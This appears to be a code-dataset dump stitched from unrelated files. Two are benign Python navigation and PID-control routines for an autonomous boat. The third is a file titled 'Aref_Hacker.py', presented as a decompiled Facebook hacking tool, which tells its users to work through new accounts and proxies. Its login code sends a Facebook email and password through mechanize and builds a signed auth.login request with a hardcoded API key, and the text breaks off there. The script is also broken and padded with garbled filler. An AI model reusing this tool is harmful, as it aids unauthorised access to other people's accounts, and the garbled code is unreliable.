backStuckCheck():\n break\n # 船原地转弯\n elif thrust == 0 and (state == State.TURN or state == State.REVERSE_TURN):\n global backup_yaw\n # 休眠一段时间,状态不变,视为卡位\n if abs(utils.angleDiff(g.getValue('ship').yaw, backup_yaw)) < 3:\n turn_count += 1\n if abs(utils.angleDiff(g.getValue('ship').yaw, backup_yaw)) < 3 and turn_count >= 25:\n # 判断是否是反转状态\n turn_count = 0\n if state == State.REVERSE_TURN:\n state = State.TURN\n # 船后退\n thrust = -80\n sleep_time = 0\n data = struct.pack(\"hhb\", thrust, 0, 0)\n g.getValue('can').send(0x544, data)\n while sleep_time < RECOVER_SLEEP_TIME:\n time.sleep(1)\n log.info(\"ship back success\")\n if backStuckCheck():\n break\n elif state == State.TURN:\n state = State.REVERSE_TURN\n backup_yaw = g.getValue('ship').yaw\n else:\n forward_count = 0\n turn_count = 0\n\n\ndef navigate(points, onFinish=None, routeType = 0):\n global state\n log.info(\"Start navigate, total %d points\" % len(points))\n ship = g.getValue('ship')\n\n \"\"\"CHECK YAW Define the yaw count and init\"\"\"\n yaw_count = 0\n y = []\n ship.linux_err = del_err(ship.linux_err, ERR_CODE.DIRE_ERR)\n\n index = 0\n pos = Point(ship.lat, ship.lng)\n # 判断刚开始时,是否需要原地转\n state = State.CALIB\n lastDist = 10000\n timeInterval = 0.5\n global backup_yaw\n backup_yaw = g.getValue('ship').yaw\n try:\n while index < len(points):\n ship.pointCount = len(points)\n startTime = time.time()\n while g.getValue('linuxState') == -1:\n ship.linux_err = del_err(ship.linux_err, ERR_CODE.DIRE_ERR)\n g.getValue(\"can\").send(0x544, struct.pack(\"hhb\", 0, 0, 0))\n time.sleep(1)\n pass\n if g.getValue('linuxState') == 0:\n break\n\n yaw = ship.yaw\n gz = ship.gz\n calib = ship.calib\n speed = ship.speed\n lat = ship.lat\n lng = ship.lng\n\n pos = Point(lat, lng)\n\n ############\n lat_half, lng_half = get_half_point(1, yaw, lat, lng)\n pos = Point(lat_half, lng_half)\n #############\n\n global dist\n dist = 0\n if state == State.CALIB:\n if calib == 1:\n state = State.TURN if utils.getDistance(\n pos, points[0]) > 3 else State.GO\n thrust = 0\n dire = 0\n else:\n # thrust = 100\n thrust, dire = PID_Calib(yaw)\n # dire = 0\n elif state == State.TURN:\n isLeft = None\n if index > 1:\n isLeft = utils.isLeft(\n points[index - 2], points[index - 1], points[index])\n thrust = 0\n dire = PID_Turn(pos, points[index], yaw, -gz, isLeft=isLeft, routeType=routeType)\n if dire == 0:\n # 转弯完毕,进入直行阶段\n state = State.GO\n global turn_flag\n turn_flag = 1 if dire < 0 else 0\n elif state == State.GO:\n def obsCallback():\n global dist\n dist = -1\n log.info('Skip To Next Point')\n tagAngle = utils.getAimYaw(points[index-1], points[index]) # Point1指向Point2\n dire, thrust = PID_Go(pos, points[index], yaw, -gz, speed, tagAngle, routeType, obsCallback)\n \"\"\"check whether yaw or not\"\"\"\n yaw_check = checkYaw.check_yaw(ship.speed, thrust, dire, ship.yaw)\n y.append(True) if yaw_check else y.append(False)\n\n # 添加船体反转\n elif state == State.REVERSE_TURN:\n g.setValue('stuckState', 1)\n # 计算反转角度, 先向反方向转动,转优弧到目标角\n yawAim = utils.getAimYaw(pos, points[index]) # 期望方向角\n error = utils.angleDiff(yawAim, yaw) # 角度差\n log.info(\"当前角度为%d\\t%d\" % (error, turn_flag))\n if (turn_flag == 1 and error < 0) or (turn_flag == 0 and error > 0):\n if error > 0:\n error -= 360\n else:\n error += 360\n thrust = 0\n dire = PID_Turn(None, None, yaw, -gz, error, routeType=routeType)\n # send error message\n log.info(\"report error message\")\n if dire == 0:\n g.setValue('stuckState', 0)\n # 转弯完毕,进入直行阶段\n state = State.GO\n \n if dist != -1:\n dist = utils.getDistance(pos, points[index])\n else:\n print(\"******************************** SKIP *********************************\")\n if (dist < 1 or (dist < 3 and dist > lastDist)) and routeType == 1:\n # 刹车\n g.getValue(\"can\").send(0x544, struct.pack(\"hhb\", -100, 0, 0))\n time.sleep(speed * 1.5)\n g.getValue(\"can\").send(0x544, struct.pack(\"hhb\", 0, 0, 0))\n dist = 0.1\n\n if dist < 0.5 or (dist < 3 and dist > lastDist):\n # 已到达\n state = State.TURN\n \"\"\"A straight to handle, yaw result handle\"\"\"\n # 到达一个点后不考虑队列长度,计算一次偏航\n yaw_res = checkYaw.cal_yaw_res()\n y.append(yaw_res)\n yaw_count = yaw_count + 1 if True in y else yaw_count - 1\n yaw_count = max(0, yaw_count)\n log.debug(\"yaw_count: {}\".format(yaw_count))\n if yaw_count >= 3:\n ship.linux_err = add_err(ship.linux_err, ERR_CODE.DIRE_ERR)\n \n y = []\n checkYaw.clear_queue()\n\n index += 1\n if index == len(points):\n # 跑完\n thrust = 0\n dire = 0\n\n lastDist = dist\n data = struct.pack(\"hhb\", thrust, dire, 0)\n g.getValue(\"can\").send(0x544, data)\n\n # 卡位检测\n if index < 2 or index == len(points):\n isLeft = None\n else:\n isLeft = utils.isLeft(\n points[index - 2], points[index - 1], points[index])\n if index < len(points):\n isStuck(pos, points[index], yaw, -gz, isLeft, thrust, dire)\n\n log.debug('State: %s\\tremainPoints: %d' %\n (state, len(points) - index))\n\n # 保证精确延时,周期稳定\n sleepTime = timeInterval - (time.time() - startTime)\n if sleepTime > 0:\n time.sleep(sleepTime)\n\n # 若船始终无法脱困,则退出当前导航\n if ((1 << 2) & g.getValue('ship').linux_err) == 4:\n log.info(\"Cannot get out of trouble\")\n break\n\n except Exception:\n log.error(\"Navigation Error\", exc_info = True)\n\n log.info('Navigation over')\n g.getValue(\"can\").send(0x544, struct.pack(\"hhb\", 0, 0, 0))\n\n if onFinish != None:\n onFinish()\n"
},
{
"alpha_fraction": 0.5611510872840881,
"alphanum_fraction": 0.6094964146614075,
"avg_line_length": 32.42307662963867,
"blob_id": "0de30cce30e27c32fc11e56a5a23ba6c87da65d4",
"content_id": "000b1505145460f59eabdf5996a8e9f4d909adc2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3821,
"license_type": "no_license",
"max_line_length": 162,
"num_lines": 104,
"path": "/tiebian_Go.py",
"repo_name": "xizhenTHU/ORCA_Algorithm2",
"src_encoding": "UTF-8",
"text": "import math\nimport numpy as np\nimport Log\nimport utils\n\nthrust_last = 0\ntagAngle = utils.getAimYaw(pAim1, pAim2) # Point1指向Point2\n\ndef PID_RouteGo(pShip, pAim, yawShip, gz, speed, tagAngle): # 直行段PID\n global thrust_last # 上一时刻油门值\n dist = utils.getDistance(pShip, pAim) # 距离误差\n normalAngle,isRight=normalAngle_cal(tagAngle,utils.getAimYaw(pShip, pAim))\n vert_dist = verticalDist_cal(pShip, pAim, tagAngle)# 最终输出时在右为正,在左为负\n if math.isnan(vert_dist):\n vert_dist=0.0\n # PID_P = 1.3\n # 控角的P值与垂直距离vert_dist相关\n PID_P = 1.4*vert_dist+1.3-0.3# 0.83m以内不变\n PID_P = max(PID_P, 1.25)# 下限1.25\n PID_P = min(PID_P, 5)# 上限5\n\n # 距离越远,越测注重修角而非贴线\n if vert_dist>2:\n weight=np.array([0.5,0.5])\n elif vert_dist>1:\n weight=np.array([0.7,0.3])\n elif vert_dist>0.5:\n # 0.5米到1米之间\n weight=np.array([0.83,0.17])\n elif vert_dist>0.3:\n weight=np.array([0.9,0.1])\n elif vert_dist>0.15:\n # 0.3米到0.5米之间\n weight=np.array([0.95,0.05])\n else:\n weight=np.array([1.0,0.0])\n yawAim=angleWeightSum(np.array([tagAngle,normalAngle]),weight)\n yawAim=utils.limitAngle(yawAim)\n error = utils.angleDiff(yawAim, yawShip) # 方向角误差\n # print(weight)\n # print(\"*********tagAngle is %.2f normalAngle is %.2f yawAim is %.2f,vert_dist is %.2f,speed is %.2f\" %(tagAngle,normalAngle,yawAim,vert_dist*isRight,speed))\n # print(\"*********yawShip is %.2f error is %.2f\" %(yawShip,error))\n if error*gz > 0:\n PID_D = -0.8\n else:\n PID_D = 0.8\n dire = PID_P * error + gz * PID_D\n dire = max(dire, -60)\n dire = min(dire, 60)\n\n # temp作为系数,若偏离曲线越远,系数越小,速度上限越慢\n temp = 1.3-vert_dist*1# 0.3m以内不减速\n temp = max(temp, 0.3)# 下限0.3\n temp = min(temp, 1)# 上限1\n thrust = (100-abs(error)*3)*0.8*temp\n if dist < 5:\n tar_speed = (1-abs(error)/20)*temp # 目标速度,只与垂直距离和角度差有关\n tar_speed = max(tar_speed, 0.0) # 目标速度限幅在0.0到1之间\n tar_speed = min(tar_speed, 1*temp)\n err_speed = tar_speed-speed\n thrust = thrust_last+err_speed*50\n thrust = min(thrust, 30) # 上限30\n if dist < 1:\n thrust = 10\n thrust = max(thrust, 10) # 下限10\n thrust = min(thrust, 100*temp) # 上限100\n thrust_last = thrust\n log.debug(\"PID_RouteGo: vert_dist:{:.2f}\\tnormalAngle:{:.2f}\".format(vert_dist*isRight,normalAngle))\n return int(dire), thrust\n\ndef normalAngle_cal(tagAngle,inputAngle):\n if tagAngle>180:\n if inputAngle>tagAngle or inputAngle<utils.limitAngle(tagAngle+180):\n # 点在线左侧\n normalAngle=utils.limitAngle(tagAngle+90)\n isRight=-1\n else:\n # 点在线右侧\n normalAngle=utils.limitAngle(tagAngle-90)\n isRight=1\n else:\n if inputAngle>tagAngle and inputAngle<tagAngle+180:\n # 点在线左侧\n normalAngle=utils.limitAngle(tagAngle+90)\n isRight=-1\n else:\n # 点在线右侧\n normalAngle=utils.limitAngle(tagAngle-90)\n isRight=1\n return normalAngle,isRight\n\ndef verticalDist_cal(pShip, pAim, tagAngle):\n dist = utils.getDistance(pShip, pAim) \n angleShip2Point = utils.getAimYaw(pShip, pAim)\n diffAngle = angleShip2Point-tagAngle\n verticalDist = np.sin(np.deg2rad(diffAngle))*dist\n return abs(verticalDist)\n\ndef angleWeightSum(angle,weight):\n # 比例相加\n temp=angle.copy()\n if np.ptp(temp)>220.0:# 角度差过大,需要转换\n temp[temp>180]-=360\n return np.dot(temp,weight)"
}
] | 2 |
KingArefAli420/4ref4li | https://github.com/KingArefAli420/4ref4li | 57fab25ac021b8896b50ef4376ec2fb04adbd9a4 | c2775ae7dbe3253228e03794e07d2b00a9c04a2a | de02a182fb7cde31ad52c9075a7ba6e5b12852d1 | refs/heads/main | 2023-04-17T22:28:52.255608 | 2021-05-04T12:51:32 | 2021-05-04T12:51:32 | 364,244,506 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.36646363139152527,
"alphanum_fraction": 0.5189076066017151,
"avg_line_length": 48.05158615112305,
"blob_id": "a7c68a1bce276683c5aaff6e3fecb1006d2e1de2",
"content_id": "5bf0dfa262883dbcf3223e2b648353e6a0e03d08",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 91286,
"license_type": "no_license",
"max_line_length": 307,
"num_lines": 1861,
"path": "/Aref_Hacker.py",
"repo_name": "KingArefAli420/4ref4li",
"src_encoding": "UTF-8",
"text": "# Decompiled By mohammad sultani\n# Github : https://github.com/mohammadjan1122\n#!/usr/bin/python2\n#coding=utf-8\n# Developer By fucked_abm\n\nimport os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize\nfrom multiprocessing.pool import ThreadPool\nfrom requests.exceptions import ConnectionError\nfrom mechanize import Browser\n\n\nreload(sys)\nsys.setdefaultencoding('utf8')\nbr = mechanize.Browser()\nbr.set_handle_robots(False)\nbr.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)\nbr.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]\n\ndef keluar():\n\tprint \"Exit\"\n\tos.sys.exit()\n\ndef acak(b):\n w = 'ahtdzjc'\n d = ''\n for i in x:\n d += '!'+w[random.randint(0,len(w)-1)]+i\n return cetak(d)\n\n\ndef cetak(b):\n w = 'ahtdzjc'\n for i in w:\n j = w.index(i)\n x= x.replace('!%s'%i,'\\033[%s;1m'%str(31+j))\n x += '\\033[0m'\n x = x.replace('!0','\\033[0m')\n sys.stdout.write(x+'\\n')\n\n\ndef jalan(z):\n\tfor e in z + '\\n':\n\t\tsys.stdout.write(e)\n\t\tsys.stdout.flush()\n\t\ttime.sleep(0.001)\n\n\n#Dev:fucked A B M \nlogo = \"\"\" \n\nfacebook ID:ArefAli\n \n\u001a \n--------------------------------------------------\n\n \n fucked ABM\n \n \n \n DECOMPILED BY AREFALI\n\"\"\"\nlogo2 = \"\"\"\n\\033[1;92m\n0 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v d a u k i j u y i j s r 5 k\n1 4 7 8 8 9 0 b 9 5 d 0 9 4 8 s 8 2 80 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \na v 0 1 0 9 1 6 7 8 3 5 7 1 8 3 0 \n 1 9 5 0 2 8 6 1 3 0 1 9 0 8 \"\"\"\n\ndef tik():\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\tprint(\"\\r\\x1b[1;93mPlease Wait \\x1b[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\n\nback = 0\nberhasil = []\ncekpoint = []\noks = []\nid = []\nlistgrup = []\nvulnot = \"\\033[31mNot Vuln\"\nvuln = \"\\033[32mVuln\"\n\n##### LICENSE #####\n#=================#\ndef lisensi():\n\tos.system('clear')\n\tlogin()\n####login#########\ndef login():\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n print(\"\\033[1;97m--------------------------------------------------\")\n\tprint \"\\033[1;94m[1]\\033[1;91m\\033[1;96mLogin With User And Pass \"\n\ttime.sleep(0.05)\n print \"\\033[1;94m[2]\\033[1;91m>\\033[1;96mLogin With Token \"\n\ttime.sleep(0.05)\n\tprint \"\\033[1;94m[0]\\033[1;91m>\\033[0;90mLogout \"\n\ttime.sleep(0.05)\n print(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_login()\n\ndef pilih_login():\n\tpeak = raw_input(\"\\n\\033[0;90mfucked_abm\\033[1;94m>\\033[1;92m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_login()\n\telif peak ==\"1\":\n\t\tlogin1()\n elif peak ==\"2\":\n\t tokenz()\n\telif unikers ==\"0\":\n\t\tjalan('Token Removed')\n\t\tos.system('rm -rf login.txt')\n\t\tkeluar()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih()\n\t\t\t\n\t\t\t\ndef login1():\n\tos.system('clear')\n\ttry:\n\t\ttoket = open('login.txt','r')\n\t\tmenu() \n\texcept (KeyError,IOError):\n\t\tos.system('clear')\n time.sleep(0.05)\n\t\tprint logo\n\t\tjalan(' \\033[1;97m[_>_]\\033[1;93mDo Not Use Your Personal Account\\033[1;97m[_>_]' )\n\t\tjalan(' \\033[1;97m[_>_]\\033[1;93mUse a New Account To Login\\033[1;97m[_>_]' )\n\t\tjalan(' \\033[1;97m[_>_]\\033[1;93mUse Any Proxy To Login Account\\033[1;97m[_>_]' ) \n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tprint(\"\\033[1;97m >>>>>>\\033[1;93m Developer By fucked_abm \\033[1;97m>>>>>>\") \n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tid = raw_input('\\033[1;97m[_>_] \\x1b[1;91mFacebook/Email\\x1b[1;93m: \\x1b[1;93m')\n\t\tpwd = raw_input('\\033[1;97m[_>_] \\x1b[1;91mEnter Password \\x1b[1;91m: \\x1b[1;93m')\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttik()\n\t\ttry:\n\t\t\tbr.open('https://m.facebook.com')\n\t\texcept mechanize.URLError:\n\t\t\tprint\"\\n\\x1b[1;97mThere is no internet connection\"\n\t\t\tkeluar()\n\t\tbr._factory.is_html = True\n\t\tbr.select_form(nr=0)\n\t\tbr.form['email'] = id\n\t\tbr.form['pass'] = pwd\n\t\tbr.submit()\n\t\turl = br.geturl()\n\t\tif 'save-device' in url:\n\t\t\ttry:\n\t\t\t\tsig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'\n\t\t\t\tdata = {\"api_key\":\"882a8490361da98702bf97a021ddc14d\",\"credentials_type\":\"password\",\"email\":id,\"format\":\"JSON\", 